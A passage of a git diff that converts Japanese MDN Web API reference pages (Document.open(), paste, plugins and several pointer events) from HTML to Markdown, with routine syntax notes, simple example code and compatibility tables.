  • 文書、文書内のノード、文書のウィンドウに現在登録されているイベントリスナーがすべて除去されます。
  • -
  • すべての既存のノードが文書から除去されます。
  • -
- -

構文

- -
document.open();
-
- -

引数

- -

なし。

- -

返値

- -

Document オブジェクトインスタンスです。

- -

- -

以下の簡単なコードは、文書を開き、その内容をいくつかの異なる HTML の断片に置き換えてから、再び閉じます。

- -
document.open();
-document.write("<p>Hello world!</p>");
-document.write("<p>I am a fish</p>");
-document.write("<p>The number is 42</p>");
-document.close();
-
- -

- -

ページが読み込まれたあとで {{domxref("document.write()")}} が呼び出されると、自動的に document.open() が呼び出されます。

- -

Firefox や Internet Explorer では何年も前から、すべてのノードの削除に加えて、 JavaScript の変数なども追加で消去していました。今はそうではありません。document non-spec'ed parameters to document.open

- -

Gecko 固有のメモ

- -

Gecko 1.9 以降、このメソッドは他のプロパティと同一オリジンポリシーが同じになるようになり、文書のオリジンを変更しようとした場合に動作しません。

- -

Gecko 1.9.2 以降、 document.open()プリンシパルをスタックからフェッチするのではなく、 URI を使用する文書のプリンシパルを使用します。その結果、 wrappedJSObject を使用しても、 {{domxref("document.write()")}} を{{Glossary("chrome", "クローム")}}からの信頼できない文書に呼び出すことはできません。考え方についてはセキュリティチェックの基本を参照してください。

- -

引数3つの document.open()

- -

あまり知られていませんが、あまり使われていない引数3つ版の document.open() があり、これは {{domxref("Window.open()")}} のエイリアスです (詳細はそのページを参照してください)。

- -

この呼び出しは、例えば github.com を新しいウィンドウで開き、オープナーは null に設定してみます。

- -
document.open('https://www.github.com','', 'noopener=true')
- -

引数2つの document.open()

- -

ブラウザーは以下の形で、引数2つの document.open() に対応してきました。

- -
document.open(type, replace)
- -

type は書き込もうとしているデータの MIME タイプ (text/html など) を指定し、 replace が設定されていれば (すなわち "replace" の文字列)、新しい文書の履歴エントリが書き込まれている文書の現在の履歴エントリを置き換えることを指定していました。

- -

この形式は現在では廃止されています。エラーは発生せず、代わりに document.open() に転送されます (つまり、引数なしで実行した場合と同等です)。 履歴の置換動作は常に行われるようになりました。

- -

仕様書

- - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}}{{Spec2("HTML WHATWG")}}
{{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}}{{Spec2("DOM2 HTML")}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.open")}}

- -

See also

- -
    -
  • {{domxref("Document")}}
  • -
  • {{domxref("Window.open()")}}
  • -
diff --git a/files/ja/web/api/document/open/index.md b/files/ja/web/api/document/open/index.md new file mode 100644 index 00000000000000..f440a8b1a964de --- /dev/null +++ b/files/ja/web/api/document/open/index.md @@ -0,0 +1,97 @@ +--- +title: Document.open() +slug: Web/API/Document/open +tags: + - API + - DOM + - Document + - Method + - Reference + - open + - メソッド +translation_of: Web/API/Document/open +--- +{{APIRef("DOM")}} + +**`Document.open()`** メソッドは、{{domxref("Document.write", "書き込み", "", "1")}}のために文書を開きます。 + +これはいくらかの副作用を招きます。例を挙げます。 + +- 文書、文書内のノード、文書のウィンドウに現在登録されているイベントリスナーがすべて除去されます。 +- すべての既存のノードが文書から除去されます。 + +## 構文 + +``` +document.open(); +``` + +### 引数 + +なし。 + +### 返値 + +`Document` オブジェクトインスタンスです。 + +## 例 + +以下の簡単なコードは、文書を開き、その内容をいくつかの異なる HTML の断片に置き換えてから、再び閉じます。 + +```js +document.open(); +document.write("

Hello world!

"); +document.write("

I am a fish

"); +document.write("

The number is 42

"); +document.close(); +``` + +## 注 + +ページが読み込まれたあとで {{domxref("document.write()")}} が呼び出されると、自動的に `document.open()` が呼び出されます。 + +Firefox や Internet Explorer では何年も前から、すべてのノードの削除に加えて、 JavaScript の変数なども追加で消去していました。今はそうではありません。document non-spec'ed parameters to document.open + +### Gecko 固有のメモ + +Gecko 1.9 以降、このメソッドは他のプロパティと同一オリジンポリシーが同じになるようになり、文書のオリジンを変更しようとした場合に動作しません。 + +Gecko 1.9.2 以降、 `document.open()` は[プリンシパル](/ja/docs/Security_check_basics)をスタックからフェッチするのではなく、 URI を使用する文書のプリンシパルを使用します。その結果、 [`wrappedJSObject`](/ja/wrappedJSObject) を使用しても、 {{domxref("document.write()")}} を{{Glossary("chrome", "クローム")}}からの信頼できない文書に呼び出すことはできません。考え方については[セキュリティチェックの基本](/ja/Security_check_basics)を参照してください。 + +## 引数 3 つの document.open() + +あまり知られていませんが、あまり使われていない引数 3 つ版の `document.open()` があり、これは {{domxref("Window.open()")}} のエイリアスです (詳細はそのページを参照してください)。 + +この呼び出しは、例えば github.com を新しいウィンドウで開き、オープナーは `null` に設定してみます。 + +```js +document.open('https://www.github.com','', 'noopener=true') +``` + +## 引数 2 つの document.open() + +ブラウザーは以下の形で、引数 2 つの `document.open()` に対応してきました。 + +```js +document.open(type, replace) +``` + +`type` は書き込もうとしているデータの MIME タイプ (`text/html` など) を指定し、 replace が設定されていれば (すなわち "replace" の文字列)、新しい文書の履歴エントリが書き込まれている文書の現在の履歴エントリを置き換えることを指定していました。 + +この形式は現在では廃止されています。エラーは発生せず、代わりに `document.open()` に転送されます (つまり、引数なしで実行した場合と同等です)。 履歴の置換動作は常に行われるようになりました。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}} | {{Spec2("DOM2 HTML")}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.open")}} + +## See also + +- {{domxref("Document")}} +- {{domxref("Window.open()")}} diff --git a/files/ja/web/api/document/paste_event/index.html b/files/ja/web/api/document/paste_event/index.html deleted file mode 100644 index f9a0a3f9fb7828..00000000000000 --- a/files/ja/web/api/document/paste_event/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: 'Document: paste イベント' -slug: Web/API/Document/paste_event -tags: - - API - - Document - - Event - - Reference - - Web - - paste - - イベント -translation_of: Web/API/Document/paste_event ---- -
{{APIRef}}
- -

paste イベントは、ユーザーがブラウザーのユーザーインターフェイスから「貼り付け」操作を実行したときに発生します。

- - - - - - - - - - - - - - - - - - - - -
バブリングあり
キャンセル
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/onpaste", "onpaste")}}
- -

このイベントの本来の対象は、貼り付け操作を意図する対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 Element: paste イベントを参照してください。

- -

- -
document.addEventListener('paste', (event) => {
-    console.log('paste action initiated')
-});
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Clipboard API', '#clipboard-event-paste')}}{{Spec2('Clipboard API')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.paste_event")}}

- -

関連情報

- -
    -
  • 関連イベント: {{domxref("Document/cut_event", "cut")}}, {{domxref("Document/copy_event", "copy")}}
  • -
  • {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/paste_event", "paste")}}
  • -
  • {{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/paste_event", "paste")}}
  • -
diff --git a/files/ja/web/api/document/paste_event/index.md b/files/ja/web/api/document/paste_event/index.md new file mode 100644 index 00000000000000..5b636021ea3fb1 --- /dev/null +++ b/files/ja/web/api/document/paste_event/index.md @@ -0,0 +1,63 @@ +--- +title: 'Document: paste イベント' +slug: Web/API/Document/paste_event +tags: + - API + - Document + - Event + - Reference + - Web + - paste + - イベント +translation_of: Web/API/Document/paste_event +--- +{{APIRef}} + +**`paste`** イベントは、ユーザーがブラウザーのユーザーインターフェイスから「貼り付け」操作を実行したときに発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/onpaste", "onpaste")}}
+ +このイベントの本来の対象は、貼り付け操作を意図する対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 [Element: paste イベント](/ja/docs/Web/API/Element/paste_event)を参照してください。 + +## 例 + +```js +document.addEventListener('paste', (event) => { + console.log('paste action initiated') +}); +``` + +## 仕様書 + +| 仕様書 | 状態 | +| ------------------------------------------------------------------------ | ------------------------------------ | +| {{SpecName('Clipboard API', '#clipboard-event-paste')}} | {{Spec2('Clipboard API')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.paste_event")}} + +## 関連情報 + +- 関連イベント: {{domxref("Document/cut_event", "cut")}}, {{domxref("Document/copy_event", "copy")}} +- {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/paste_event", "paste")}} +- {{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/paste_event", "paste")}} diff --git a/files/ja/web/api/document/plugins/index.html b/files/ja/web/api/document/plugins/index.html deleted file mode 100644 index fa63d0552d3c34..00000000000000 --- a/files/ja/web/api/document/plugins/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Document.plugins -slug: Web/API/Document/plugins -tags: - - API - - Document - - Plugins - - Property - - Reference - - embed - - プロパティ -translation_of: Web/API/Document/plugins ---- -
{{APIRef("DOM")}}
- -

{{domxref("Document")}} インターフェイスの plugins プロパティは読み取り専用で、現在の文書内にある {{HTMLElement("embed")}} 要素を表す1つ以上の {{domxref("HTMLEmbedElement")}} を含んだ {{domxref("HTMLCollection")}} オブジェクトを返します。

- -
インストールされているプラグインの一覧には、このメソッドでなく {{domxref("window.navigator.plugins")}} を使用してください。
- -

構文

- -
embedArrayObj = document.plugins
- -

- -

{{domxref("HTMLCollection")}}、または文書内に embed がなければ null です。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-plugins', 'Document.plugins')}}{{ Spec2('HTML WHATWG') }}
- -

ブラウザーの対応

- -

{{Compat("api.Document.plugins")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/plugins/index.md b/files/ja/web/api/document/plugins/index.md new file mode 100644 index 00000000000000..a8a46bea9dc3e9 --- /dev/null +++ b/files/ja/web/api/document/plugins/index.md @@ -0,0 +1,42 @@ +--- +title: Document.plugins +slug: Web/API/Document/plugins +tags: + - API + - Document + - Plugins + - Property + - Reference + - embed + - プロパティ +translation_of: Web/API/Document/plugins +--- +{{APIRef("DOM")}} + +{{domxref("Document")}} インターフェイスの **`plugins`** プロパティは読み取り専用で、現在の文書内にある {{HTMLElement("embed")}} 要素を表す 1 つ以上の {{domxref("HTMLEmbedElement")}} を含んだ {{domxref("HTMLCollection")}} オブジェクトを返します。 + +> **Note:** インストールされているプラグインの一覧には、このメソッドでなく {{domxref("window.navigator.plugins")}} を使用してください。 + +## 構文 + +``` +embedArrayObj = document.plugins +``` + +### 値 + +{{domxref("HTMLCollection")}}、または文書内に embed がなければ `null` です。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------ | ------------------------------------ | ---- | +| {{SpecName('HTML WHATWG', '#dom-document-plugins', 'Document.plugins')}} | {{ Spec2('HTML WHATWG') }} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.plugins")}} + +## 関連情報 + +- [MSDN documentation]() diff --git a/files/ja/web/api/document/pointercancel_event/index.html b/files/ja/web/api/document/pointercancel_event/index.html deleted file mode 100644 index 00cc76a46264d5..00000000000000 --- a/files/ja/web/api/document/pointercancel_event/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: 'Document: pointercancel イベント' -slug: Web/API/Document/pointercancel_event -tags: - - API - - Document - - Event - - PointerEvent - - onpointercancel - - pointercancel - - イベント -translation_of: Web/API/Document/pointercancel_event ---- -
{{APIRef}}
- -

pointercancel イベントは、ブラウザーがもうポインターイベントが存在しないと判断したとき、または {{event("pointerdown")}} イベントが発生した後で、ポインターがビューポートのパン、ズーム、スクロールを操作するために使用されたときに発生します。

- - - - - - - - - - - - - - - - - - - - -
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointercancel", "onpointercancel")}}
- -

pointercancel イベントが発生する状況の例をいくつか示します。

- -
    -
  • ポインターの操作を中止するハードウェアイベントが発生した場合。例えば、アプリケーションスイッチャーインターフェイスやモバイル端末の「ホーム」ボタンを使用してアプリケーションを切り替えた場合などです。
  • -
  • ポインターが活動中に端末の画面の向きが変化した場合。
  • -
  • ユーザーが突然、ポインターの入力を始めたとブラウザーが判断した場合。これが発生するのは、例えば、スタイラスを使用中に画面上で手が反応するのを防ぐために掌を除外して予期せずイベントを起動することを防ぐことに、ハードウェアが対応している場合などです。
  • -
  • CSS の {{cssxref("touch-action")}} プロパティが、入力の継続を防止している場合。
  • -
- -
-

pointercancel イベントの発生後、ブラウザーは {{event("pointerout")}} イベントと、続いて {{event("pointerleave")}} イベントを送信します。

-
- -

- -

addEventListener() の使用例:

- -
document.addEventListener('pointercancel', (event) => {
-  console.log('Pointer event cancelled')
-});
- -

onpointercancel イベントハンドラープロパティの使用例:

- -
document.onpointercancel = (event) => {
-  console.log('Pointer event cancelled')
-};
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointercancel-event')}}{{Spec2('Pointer Events')}}
- -

ブラウザーの対応

- -

{{Compat("api.Document.pointercancel_event")}}

- -

関連情報

- -
    -
  • 関連イベント -
      -
    • {{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
    • -
    • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
    • -
    • {{domxref("Document/pointerover_event", "pointerover")}}
    • -
    • {{domxref("Document/pointerenter_event", "pointerenter")}}
    • -
    • {{domxref("Document/pointerdown_event", "pointerdown")}}
    • -
    • {{domxref("Document/pointermove_event", "pointermove")}}
    • -
    • {{domxref("Document/pointerup_event", "pointerup")}}
    • -
    • {{domxref("Document/pointerout_event", "pointerout")}}
    • -
    • {{domxref("Document/pointerleave_event", "pointerleave")}}
    • -
    -
  • -
  • {{domxref("GlobalEventHandlers.onpointercancel")}} イベントハンドラープロパティ
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointercancel_event", "pointercancel")}} イベント
  • -
diff --git a/files/ja/web/api/document/pointercancel_event/index.md b/files/ja/web/api/document/pointercancel_event/index.md new file mode 100644 index 00000000000000..976dddb2235d42 --- /dev/null +++ b/files/ja/web/api/document/pointercancel_event/index.md @@ -0,0 +1,93 @@ +--- +title: 'Document: pointercancel イベント' +slug: Web/API/Document/pointercancel_event +tags: + - API + - Document + - Event + - PointerEvent + - onpointercancel + - pointercancel + - イベント +translation_of: Web/API/Document/pointercancel_event +--- +{{APIRef}} + +**`pointercancel`** イベントは、ブラウザーがもうポインターイベントが存在しないと判断したとき、または {{event("pointerdown")}} イベントが発生した後で、ポインターがビューポートのパン、ズーム、スクロールを操作するために使用されたときに発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointercancel", "onpointercancel")}} +
+ +`pointercancel` イベントが発生する状況の例をいくつか示します。 + +- ポインターの操作を中止するハードウェアイベントが発生した場合。例えば、アプリケーションスイッチャーインターフェイスやモバイル端末の「ホーム」ボタンを使用してアプリケーションを切り替えた場合などです。 +- ポインターが活動中に端末の画面の向きが変化した場合。 +- ユーザーが突然、ポインターの入力を始めたとブラウザーが判断した場合。これが発生するのは、例えば、スタイラスを使用中に画面上で手が反応するのを防ぐために掌を除外して予期せずイベントを起動することを防ぐことに、ハードウェアが対応している場合などです。 +- CSS の {{cssxref("touch-action")}} プロパティが、入力の継続を防止している場合。 + +> **Note:** `pointercancel` イベントの発生後、ブラウザーは {{event("pointerout")}} イベントと、続いて {{event("pointerleave")}} イベントを送信します。 + +## 例 + +`addEventListener()` の使用例: + +```js +document.addEventListener('pointercancel', (event) => { + console.log('Pointer event cancelled') +}); +``` + +`onpointercancel` イベントハンドラープロパティの使用例: + +```js +document.onpointercancel = (event) => { + console.log('Pointer event cancelled') +}; +``` + +## 仕様書 + +| 仕様書 | 状態 | +| ---------------------------------------------------------------------------- | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointercancel-event')}} | {{Spec2('Pointer Events')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.pointercancel_event")}} + +## 関連情報 + +- 関連イベント + + - {{domxref("Document/gotpointercapture_event", "gotpointercapture")}} + - {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} + - {{domxref("Document/pointerover_event", "pointerover")}} + - {{domxref("Document/pointerenter_event", "pointerenter")}} + - {{domxref("Document/pointerdown_event", "pointerdown")}} + - {{domxref("Document/pointermove_event", "pointermove")}} + - {{domxref("Document/pointerup_event", "pointerup")}} + - {{domxref("Document/pointerout_event", "pointerout")}} + - {{domxref("Document/pointerleave_event", "pointerleave")}} + +- {{domxref("GlobalEventHandlers.onpointercancel")}} イベントハンドラープロパティ +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointercancel_event", "pointercancel")}} イベント diff --git a/files/ja/web/api/document/pointerdown_event/index.html b/files/ja/web/api/document/pointerdown_event/index.html deleted file mode 100644 index c71597b18e8ba7..00000000000000 --- a/files/ja/web/api/document/pointerdown_event/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: 'Document: pointerdown イベント' -slug: Web/API/Document/pointerdown_event -tags: - - API - - Document - - Event - - PointerEvent - - Reference - - onpointerdown - - pointerdown - - イベント -translation_of: Web/API/Document/pointerdown_event ---- -
{{APIRef}}
- -

pointerdown イベントは、ポインターがアクティブになったときに発生します。マウスでは、端末がボタンが押されていない状態から一つ以上のボタンが押されている状態に遷移したときに発生します。タッチ操作では、デジタイザーに物理的な接触が行われたときに発生します。ペンでは、スタイラスがデジタイザーに物理的に接触したときに発生します。

- - - - - - - - - - - - - - - - - - - - -
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerdown", "onpointerdown")}}
- -

- -

addEventListener() の使用例:

- -
document.addEventListener('pointerdown', (event) => {
-  console.log('Pointer down event');
-});
- -

onpointerdown イベントハンドラープロパティの使用例:

- -
document.onpointerdown = (event) => {
-  console.log('Pointer down event');
-};
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointerdown-event')}}{{Spec2('Pointer Events')}}
- -

ブラウザーの対応

- -

{{Compat("api.Document.pointerdown_event")}}

- -

関連情報

- -
    -
  • {{domxref("GlobalEventHandlers/onpointerdown", "onpointerdown")}} イベントハンドラープロパティ
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointerdown_event", "pointerdown")}} イベント
  • -
diff --git a/files/ja/web/api/document/pointerdown_event/index.md b/files/ja/web/api/document/pointerdown_event/index.md new file mode 100644 index 00000000000000..aa43d369d564aa --- /dev/null +++ b/files/ja/web/api/document/pointerdown_event/index.md @@ -0,0 +1,73 @@ +--- +title: 'Document: pointerdown イベント' +slug: Web/API/Document/pointerdown_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - onpointerdown + - pointerdown + - イベント +translation_of: Web/API/Document/pointerdown_event +--- +{{APIRef}} + +`pointerdown` イベントは、ポインターがアクティブになったときに発生します。マウスでは、端末がボタンが押されていない状態から一つ以上のボタンが押されている状態に遷移したときに発生します。タッチ操作では、デジタイザーに物理的な接触が行われたときに発生します。ペンでは、スタイラスがデジタイザーに物理的に接触したときに発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointerdown", "onpointerdown")}} +
+ +## 例 + +`addEventListener()` の使用例: + +```js +document.addEventListener('pointerdown', (event) => { + console.log('Pointer down event'); +}); +``` + +`onpointerdown` イベントハンドラープロパティの使用例: + +```js +document.onpointerdown = (event) => { + console.log('Pointer down event'); +}; +``` + +## 仕様書 + +| 仕様書 | 状態 | +| ---------------------------------------------------------------------------- | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointerdown-event')}} | {{Spec2('Pointer Events')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.pointerdown_event")}} + +## 関連情報 + +- {{domxref("GlobalEventHandlers/onpointerdown", "onpointerdown")}} イベントハンドラープロパティ +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointerdown_event", "pointerdown")}} イベント diff --git a/files/ja/web/api/document/pointerenter_event/index.html b/files/ja/web/api/document/pointerenter_event/index.html deleted file mode 100644 index 9336e5da595d22..00000000000000 --- a/files/ja/web/api/document/pointerenter_event/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: 'Document: pointerenter イベント' -slug: Web/API/Document/pointerenter_event -tags: - - API - - Document - - Event - - PointerEvent - - Reference - - onpointerenter - - pointerenter - - イベント -translation_of: Web/API/Document/pointerenter_event ---- -
{{APIRef}}
- -

pointerenter イベントは、ポインティングデバイスが要素またはその子孫のヒットテスト領域に入ったときに発生します。ホバーに対応していない機器では {{domxref("Document/pointerdown_event", "pointerdown")}} イベントの結果として移動した場合も含みます ({{domxref("Document/pointerdown_event", "pointerdown")}} を参照)。

- - - - - - - - - - - - - - - - - - - - -
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerenter", "onpointerenter")}}
- -

- -

addEventListener() の使用例:

- -
document.addEventListener('pointerenter', (event) => {
-  console.log('Pointer entered element');
-});
- -

onpointerenter イベントハンドラープロパティの使用例:

- -
document.onpointerenter = (event) => {
-  console.log('Pointer entered element');
-};
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointerenter-event')}}{{Spec2('Pointer Events')}}
- -

ブラウザーの対応

- -

{{Compat("api.Document.pointerenter_event")}}

- -

関連情報

- -
    -
  • {{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
  • -
  • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
  • -
  • {{domxref("Document/pointerover_event", "pointerover")}}
  • -
  • {{domxref("Document/pointerdown_event", "pointerdown")}}
  • -
  • {{domxref("Document/pointermove_event", "pointermove")}}
  • -
  • {{domxref("Document/pointerup_event", "pointerup")}}
  • -
  • {{domxref("Document/pointercancel_event", "pointercancel")}}
  • -
  • {{domxref("Document/pointerout_event", "pointerout")}}
  • -
  • {{domxref("Document/pointerleave_event", "pointerleave")}}
  • -
  • {{domxref("GlobalEventHandlers/onpointerenter", "onpointerenter")}} イベントハンドラープロパティ
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointerenter_event", "pointerenter")}} イベント
  • -
diff --git a/files/ja/web/api/document/pointerenter_event/index.md b/files/ja/web/api/document/pointerenter_event/index.md new file mode 100644 index 00000000000000..da05849941466c --- /dev/null +++ b/files/ja/web/api/document/pointerenter_event/index.md @@ -0,0 +1,82 @@ +--- +title: 'Document: pointerenter イベント' +slug: Web/API/Document/pointerenter_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - onpointerenter + - pointerenter + - イベント +translation_of: Web/API/Document/pointerenter_event +--- +{{APIRef}} + +`pointerenter` イベントは、ポインティングデバイスが要素またはその子孫のヒットテスト領域に入ったときに発生します。ホバーに対応していない機器では {{domxref("Document/pointerdown_event", "pointerdown")}} イベントの結果として移動した場合も含みます ({{domxref("Document/pointerdown_event", "pointerdown")}} を参照)。 + + + + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointerenter", "onpointerenter")}} +
+ +## 例 + +`addEventListener()` の使用例: + +```js +document.addEventListener('pointerenter', (event) => { + console.log('Pointer entered element'); +}); +``` + +`onpointerenter` イベントハンドラープロパティの使用例: + +```js +document.onpointerenter = (event) => { + console.log('Pointer entered element'); +}; +``` + +## 仕様書 + +| 仕様書 | 状態 | +| ---------------------------------------------------------------------------- | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointerenter-event')}} | {{Spec2('Pointer Events')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.pointerenter_event")}} + +## 関連情報 + +- {{domxref("Document/gotpointercapture_event", "gotpointercapture")}} +- {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} +- {{domxref("Document/pointerover_event", "pointerover")}} +- {{domxref("Document/pointerdown_event", "pointerdown")}} +- {{domxref("Document/pointermove_event", "pointermove")}} +- {{domxref("Document/pointerup_event", "pointerup")}} +- {{domxref("Document/pointercancel_event", "pointercancel")}} +- {{domxref("Document/pointerout_event", "pointerout")}} +- {{domxref("Document/pointerleave_event", "pointerleave")}} +- {{domxref("GlobalEventHandlers/onpointerenter", "onpointerenter")}} イベントハンドラープロパティ +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointerenter_event", "pointerenter")}} イベント diff --git a/files/ja/web/api/document/pointerleave_event/index.html b/files/ja/web/api/document/pointerleave_event/index.html deleted file mode 100644 index 0a4e2826081c39..00000000000000 --- a/files/ja/web/api/document/pointerleave_event/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: 'Document: pointerleave イベント' -slug: Web/API/Document/pointerleave_event -tags: - - API - - Document - - Event - - PointerEvent - - Reference - - onpointerleave - - pointerleave - - イベント -translation_of: Web/API/Document/pointerleave_event ---- -
{{APIRef}}
- -

pointerleave イベントは、ポインティングデバイスが要素のヒットテスト領域を出たときに発生します。ペンデバイスでは、このイベントはデジタイザーが検出可能なホバー範囲をスタイラスが離れたときに発生します。

- - - - - - - - - - - - - - - - - - - - -
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerleave", "onpointerleave")}}
- -

- -

addEventListener() の使用例:

- -
document.addEventListener('pointerleave', (event) => {
-  console.log('Pointer left element');
-});
- -

onpointerleave イベントハンドラープロパティの使用例:

- -
document.onpointerleave = (event) => {
-  console.log('Pointer left element');
-};
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointerleave-event')}}{{Spec2('Pointer Events')}}
- -

ブラウザーの対応

- -

{{Compat("api.Document.pointerleave_event")}}

- -

関連情報

- -
    -
  • {{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
  • -
  • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
  • -
  • {{domxref("Document/pointerover_event", "pointerover")}}
  • -
  • {{domxref("Document/pointerenter_event", "pointerenter")}}
  • -
  • {{domxref("Document/pointerdown_event", "pointerdown")}}
  • -
  • {{domxref("Document/pointermove_event", "pointermove")}}
  • -
  • {{domxref("Document/pointerup_event", "pointerup")}}
  • -
  • {{domxref("Document/pointercancel_event", "pointercancel")}}
  • -
  • {{domxref("Document/pointerout_event", "pointerout")}}
  • -
  • {{domxref("GlobalEventHandlers/onpointerleave", "onpointerleave")}} イベントハンドラープロパティ
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointerleave_event", "pointerleave")}} イベント
  • -
diff --git a/files/ja/web/api/document/pointerleave_event/index.md b/files/ja/web/api/document/pointerleave_event/index.md new file mode 100644 index 00000000000000..effda6db2a7c89 --- /dev/null +++ b/files/ja/web/api/document/pointerleave_event/index.md @@ -0,0 +1,82 @@ +--- +title: 'Document: pointerleave イベント' +slug: Web/API/Document/pointerleave_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - onpointerleave + - pointerleave + - イベント +translation_of: Web/API/Document/pointerleave_event +--- +{{APIRef}} + +`pointerleave` イベントは、ポインティングデバイスが要素のヒットテスト領域を出たときに発生します。ペンデバイスでは、このイベントはデジタイザーが検出可能なホバー範囲をスタイラスが離れたときに発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointerleave", "onpointerleave")}} +
+ +## 例 + +`addEventListener()` の使用例: + +```js +document.addEventListener('pointerleave', (event) => { + console.log('Pointer left element'); +}); +``` + +`onpointerleave` イベントハンドラープロパティの使用例: + +```js +document.onpointerleave = (event) => { + console.log('Pointer left element'); +}; +``` + +## 仕様書 + +| 仕様書 | 状態 | +| ---------------------------------------------------------------------------- | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointerleave-event')}} | {{Spec2('Pointer Events')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.pointerleave_event")}} + +## 関連情報 + +- {{domxref("Document/gotpointercapture_event", "gotpointercapture")}} +- {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} +- {{domxref("Document/pointerover_event", "pointerover")}} +- {{domxref("Document/pointerenter_event", "pointerenter")}} +- {{domxref("Document/pointerdown_event", "pointerdown")}} +- {{domxref("Document/pointermove_event", "pointermove")}} +- {{domxref("Document/pointerup_event", "pointerup")}} +- {{domxref("Document/pointercancel_event", "pointercancel")}} +- {{domxref("Document/pointerout_event", "pointerout")}} +- {{domxref("GlobalEventHandlers/onpointerleave", "onpointerleave")}} イベントハンドラープロパティ +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointerleave_event", "pointerleave")}} イベント diff --git a/files/ja/web/api/document/pointerlockchange_event/index.html 